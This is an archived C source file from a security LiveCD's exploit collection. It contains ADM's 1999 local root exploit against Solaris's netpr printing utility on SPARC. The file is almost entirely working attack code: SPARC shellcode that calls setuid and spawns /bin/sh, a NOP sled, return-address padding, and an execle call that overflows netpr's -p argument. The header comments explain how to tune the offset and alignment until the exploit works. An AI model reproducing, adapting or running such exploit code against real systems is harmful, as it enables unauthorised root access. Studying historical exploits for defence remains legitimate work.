home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / lpd / netprex-sparc.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  146 lines

  1. /**  
  2. ***  netprex - SPARC Solaris root exploit for /usr/lib/lp/bin/netpr
  3. ***  
  4. ***  Tested and confirmed under Solaris 2.6 and 7 (SPARC) 
  5. ***  
  6. ***  Usage:  % netprex -h hostname [-o offset] [-a alignment]
  7. ***  
  8. ***  where hostname is the name of any reachable host running the printer
  9. ***  service on TCP port 515 (such as "localhost" perhaps), offset is the
  10. ***  number of bytes to add to the %sp stack pointer to calculate the
  11. ***  desired return address, and alignment is the number of bytes needed
  12. ***  to correctly align the first NOP inside the exploit buffer.
  13. ***     
  14. ***  When the exploit is run, the host specified with the -h option will
  15. ***  receive a connection from the netpr program to a nonsense printer
  16. ***  name, but the host will be otherwise untouched.  The offset parameter
  17. ***  and the alignment parameter have default values that will be used
  18. ***  if no overriding values are specified on the command line.  In some
  19. ***  situations the default values will not work correctly and should
  20. ***  be overridden on the command line.  The offset value should be a
  21. ***  multiple of 8 and should lie reasonably close to the default value;
  22. ***  try adjusting the value by -640 to 640 from the default value in
  23. ***  increments of 64 for starters.  The alignment value should be set
  24. ***  to either 0, 1, 2, or 3.  In order to function correctly, the final
  25. ***  return address should not contain any null bytes, so adjust the offset
  26. ***  appropriately to counteract nulls should any arise.
  27. ***  
  28. ***  Cheez Whiz / ADM
  29. ***  cheezbeast@hotmail.com
  30. ***  
  31. ***  May 23, 1999
  32. **/  
  33.  
  34. /*      Copyright (c) 1999 ADM  */
  35. /*        All Rights Reserved   */
  36.  
  37. /*      THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM      */
  38. /*      The copyright notice above does not evidence any        */
  39. /*      actual or intended publication of such source code.     */
  40.  
  41. #define BUFLEN 1087
  42. #define NOPLEN 932 
  43. #define ADDRLEN 80 
  44.  
  45. #define OFFSET 1600             /* default offset */
  46. #define ALIGNMENT 1             /* default alignment */
  47.  
  48. #define NOP 0x801bc00f          /* xor %o7,%o7,%g0 */
  49.  
  50. #include <stdio.h>
  51. #include <errno.h>
  52. #include <stdlib.h>
  53. #include <string.h>
  54. #include <unistd.h>
  55.  
  56. char shell[] =
  57. /* setuid:                                                 */
  58. /*  0 */ "\x90\x1b\xc0\x0f"  /* xor %o7,%o7,%o0            */   
  59. /*  4 */ "\x82\x10\x20\x17"  /* mov 23,%g1                 */   
  60. /*  8 */ "\x91\xd0\x20\x08"  /* ta 8                       */   
  61. /* alarm:                                                  */
  62. /* 12 */ "\x90\x1b\xc0\x0f"  /* xor %o7,%o7,%o0            */
  63. /* 16 */ "\x82\x10\x20\x1b"  /* mov 27,%g1                 */
  64. /* 20 */ "\x91\xd0\x20\x08"  /* ta 8                       */
  65. /* execve:                                                 */
  66. /* 24 */ "\x2d\x0b\xd8\x9a"  /* sethi %hi(0x2f62696e),%l6  */
  67. /* 28 */ "\xac\x15\xa1\x6e"  /* or %l6,%lo(0x2f62696e),%l6 */
  68. /* 32 */ "\x2f\x0b\xdc\xda"  /* sethi %hi(0x2f736800),%l7  */
  69. /* 36 */ "\x90\x0b\x80\x0e"  /* and %sp,%sp,%o0            */
  70. /* 40 */ "\x92\x03\xa0\x08"  /* add %sp,8,%o1              */
  71. /* 44 */ "\x94\x1b\xc0\x0f"  /* xor %o7,%o7,%o2            */
  72. /* 48 */ "\x9c\x03\xa0\x10"  /* add %sp,16,%sp             */
  73. /* 52 */ "\xec\x3b\xbf\xf0"  /* std %l6,[%sp-16]           */
  74. /* 56 */ "\xd0\x23\xbf\xf8"  /* st %o0,[%sp-8]             */
  75. /* 60 */ "\xc0\x23\xbf\xfc"  /* st %g0,[%sp-4]             */
  76. /* 64 */ "\x82\x10\x20\x3b"  /* mov 59,%g1                 */
  77. /* 68 */ "\x91\xd0\x20\x08"; /* ta 8                       */
  78.  
  79. extern char *optarg;
  80.  
  81. unsigned long int
  82. get_sp()
  83. {
  84.     __asm__("or %sp,%sp,%i0");
  85. }
  86.  
  87. int
  88. main(int argc, char *argv[]) 
  89. {
  90.     unsigned long int sp, addr; 
  91.     int c, i, offset, alignment;
  92.     char *program, *hostname, buf[BUFLEN+1], *cp;          
  93.  
  94.     program = argv[0];
  95.     hostname = "localhost";  
  96.     offset = OFFSET;
  97.     alignment = ALIGNMENT;
  98.  
  99.     while ((c = getopt(argc, argv, "h:o:a:")) != EOF) {
  100.         switch (c) {
  101.         case 'h':
  102.             hostname = optarg;
  103.             break;
  104.         case 'o':
  105.             offset = (int) strtol(optarg, NULL, 0);
  106.             break;
  107.         case 'a':
  108.             alignment = (int) strtol(optarg, NULL, 0);
  109.             break;
  110.         default:
  111.             fprintf(stderr, "usage: %s -h hostname [-o offset] "
  112.                     "[-a alignment]\n", program);
  113.             exit(1);
  114.             break;
  115.         }
  116.     }
  117.     memset(buf, '\xff', BUFLEN);
  118.     for (i = 0, cp = buf + alignment; i < NOPLEN / 4; i++) {
  119.         *cp++ = (NOP >> 24) & 0xff;
  120.         *cp++ = (NOP >> 16) & 0xff;
  121.         *cp++ = (NOP >>  8) & 0xff;
  122.         *cp++ = (NOP >>  0) & 0xff;
  123.     }       
  124.     memcpy(cp, shell, strlen(shell));
  125.     sp = get_sp(); addr = sp + offset; addr &= 0xfffffff8;
  126.     for (i = 0, cp = buf + BUFLEN - ADDRLEN; i < ADDRLEN / 4; i++) {
  127.         *cp++ = (addr >> 24) & 0xff;
  128.         *cp++ = (addr >> 16) & 0xff;
  129.         *cp++ = (addr >>  8) & 0xff;
  130.         *cp++ = (addr >>  0) & 0xff;
  131.     }   
  132.     buf[BUFLEN] = '\0';
  133.     fprintf(stdout, "%%sp 0x%08lx offset %d --> return address 0x%08lx [%d]\n",
  134.             sp, offset, addr, alignment);
  135.     execle("/usr/lib/lp/bin/netpr",
  136.            "netpr",
  137.            "-I", "ADM-ADM",
  138.            "-U", "ADM!ADM",
  139.            "-p", buf,
  140.            "-d", hostname,
  141.            "-P", "bsd", 
  142.            "/etc/passwd", NULL, NULL);
  143.     fprintf(stderr, "unable to exec netpr: %s\n", strerror(errno));
  144.     exit(1);
  145. }   
  146.